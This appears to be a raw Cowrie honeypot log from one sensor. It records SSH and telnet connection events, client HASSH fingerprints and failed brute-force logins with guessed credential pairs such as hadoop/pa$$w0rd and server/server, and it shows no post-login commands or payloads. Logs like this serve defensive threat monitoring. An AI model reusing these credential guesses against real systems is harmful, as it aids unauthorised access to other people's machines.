{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:47.017888Z","src_ip":"193.32.162.145","session":"b23a0d98c520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.90957045555115,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:47.338887Z","src_ip":"161.97.105.174","session":"54e8a444e8de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"shredstream","message":"login attempt [sol/shredstream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:47.361974Z","src_ip":"193.32.162.145","session":"b23a0d98c520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:48.471587Z","src_ip":"193.32.162.145","session":"b23a0d98c520","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":40252,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b32feb536ad","protocol":"telnet","message":"New connection: 161.97.105.174:40252 (159.203.135.109:23) [session: 4b32feb536ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:51.058301Z"}
{"eventid":"cowrie.session.closed","duration":32.02410340309143,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:54.207937Z","src_ip":"161.97.105.174","session":"6a0023823e58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.986135959625244,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:54.281631Z","src_ip":"161.97.105.174","session":"90bc6aa46fb3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76672840118408,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:54.355287Z","src_ip":"161.97.105.174","session":"1a305180ca9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01986885070801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:54.650529Z","src_ip":"161.97.105.174","session":"9b02667bf76a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.4447968006134,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:55.393117Z","src_ip":"161.97.105.174","session":"22427b80ae79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.88882350921631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:55.604564Z","src_ip":"161.97.105.174","session":"35e2a66200d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"220.247.224.226","src_port":49306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec57ada7d0b","protocol":"ssh","message":"New connection: 220.247.224.226:49306 (159.203.135.109:22) [session: 0ec57ada7d0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:56.498554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:56.507535Z","src_ip":"220.247.224.226","session":"0ec57ada7d0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:56.734975Z","src_ip":"220.247.224.226","session":"0ec57ada7d0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"server","message":"login attempt [server/server] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:57.655652Z","src_ip":"220.247.224.226","session":"0ec57ada7d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:15:58.890787Z","src_ip":"220.247.224.226","session":"0ec57ada7d0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.749568700790405,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:00.084256Z","src_ip":"161.97.105.174","session":"c7bcf91c5403","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52160,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab497358907e","protocol":"telnet","message":"New connection: 161.97.105.174:52160 (159.203.135.109:23) [session: ab497358907e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:01.377121Z"}
{"eventid":"cowrie.session.closed","duration":38.95838785171509,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:03.166346Z","src_ip":"161.97.105.174","session":"972997aa89e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.095972537994385,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:03.616410Z","src_ip":"161.97.105.174","session":"d5d6fc58a280","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55341696739197,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:04.853786Z","src_ip":"161.97.105.174","session":"da0875a0b19a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.799323081970215,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:07.145694Z","src_ip":"161.97.105.174","session":"276973d7d777","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52174,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe518270a0ff","protocol":"telnet","message":"New connection: 161.97.105.174:52174 (159.203.135.109:23) [session: fe518270a0ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:07.168207Z"}
{"eventid":"cowrie.session.closed","duration":33.8822865486145,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:07.590170Z","src_ip":"161.97.105.174","session":"9a007bad6a82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59646511077881,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:07.678242Z","src_ip":"161.97.105.174","session":"e2f161e8cc64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58730,"dst_ip":"159.203.135.109","dst_port":23,"session":"eab967ddebc6","protocol":"telnet","message":"New connection: 161.97.105.174:58730 (159.203.135.109:23) [session: eab967ddebc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:12.673285Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.9.141.39","src_port":14851,"dst_ip":"10.17.0.5","dst_port":23,"session":"90dbacd0a080","protocol":"telnet","message":"New connection: 69.9.141.39:14851 (10.17.0.5:23) [session: 90dbacd0a080]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:13.241004Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.187.71.114","src_port":60302,"dst_ip":"10.17.0.5","dst_port":22,"session":"f59b16eba46b","protocol":"ssh","message":"New connection: 200.187.71.114:60302 (10.17.0.5:22) [session: f59b16eba46b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:15.507535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:15.512372Z","src_ip":"200.187.71.114","session":"f59b16eba46b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:15.627066Z","src_ip":"200.187.71.114","session":"f59b16eba46b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"pa$$w0rd","message":"login attempt [hadoop/pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:16.115487Z","src_ip":"200.187.71.114","session":"f59b16eba46b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58738,"dst_ip":"159.203.135.109","dst_port":23,"session":"09a1868d66f5","protocol":"telnet","message":"New connection: 161.97.105.174:58738 (159.203.135.109:23) [session: 09a1868d66f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:16.661783Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":56626,"dst_ip":"10.17.0.5","dst_port":22,"session":"75e01faeab61","protocol":"ssh","message":"New connection: 154.219.100.220:56626 (10.17.0.5:22) [session: 75e01faeab61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:17.166128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:17.173844Z","src_ip":"154.219.100.220","session":"75e01faeab61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:17.233070Z","src_ip":"200.187.71.114","session":"f59b16eba46b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.91166114807129,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:17.241560Z","src_ip":"161.97.105.174","session":"7c100cdeeb38","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:17.382170Z","src_ip":"154.219.100.220","session":"75e01faeab61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":58740,"dst_ip":"159.203.135.109","dst_port":23,"session":"7bd1820c6724","protocol":"telnet","message":"New connection: 161.97.105.174:58740 (159.203.135.109:23) [session: 7bd1820c6724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:18.233155Z"}
{"eventid":"cowrie.login.failed","username":"test","password":"P@$$w0rd","message":"login attempt [test/P@$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:18.246663Z","src_ip":"154.219.100.220","session":"75e01faeab61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.27249622344971,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:18.619030Z","src_ip":"161.97.105.174","session":"5bdae390c114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52600,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f4ce05f1b56","protocol":"telnet","message":"New connection: 161.97.105.174:52600 (159.203.135.109:23) [session: 7f4ce05f1b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:18.730036Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:19.462377Z","src_ip":"154.219.100.220","session":"75e01faeab61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":52608,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aafc9db978b","protocol":"telnet","message":"New connection: 161.97.105.174:52608 (159.203.135.109:23) [session: 9aafc9db978b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:24.078903Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":44426,"dst_ip":"10.17.0.5","dst_port":22,"session":"59aa369c85cc","protocol":"ssh","message":"New connection: 152.32.130.174:44426 (10.17.0.5:22) [session: 59aa369c85cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:25.235922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:25.241070Z","src_ip":"152.32.130.174","session":"59aa369c85cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:25.459309Z","src_ip":"152.32.130.174","session":"59aa369c85cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user-2","password":"user-2","message":"login attempt [user-2/user-2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:26.357104Z","src_ip":"152.32.130.174","session":"59aa369c85cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.92933630943298,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:26.987519Z","src_ip":"161.97.105.174","session":"4b32feb536ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:27.576057Z","src_ip":"152.32.130.174","session":"59aa369c85cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33908,"dst_ip":"159.203.135.109","dst_port":23,"session":"eae44694378a","protocol":"telnet","message":"New connection: 161.97.105.174:33908 (159.203.135.109:23) [session: eae44694378a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:28.830915Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":58392,"dst_ip":"10.17.0.5","dst_port":22,"session":"b805d0c788bd","protocol":"ssh","message":"New connection: 202.125.94.71:58392 (10.17.0.5:22) [session: b805d0c788bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:30.671568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:30.675798Z","src_ip":"202.125.94.71","session":"b805d0c788bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":33920,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b1f04e74031","protocol":"telnet","message":"New connection: 161.97.105.174:33920 (159.203.135.109:23) [session: 2b1f04e74031]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:30.687104Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:16:30.935870Z","src_ip":"202.125.94.71","session":"b805d0c788bd","protocol":"ssh"}
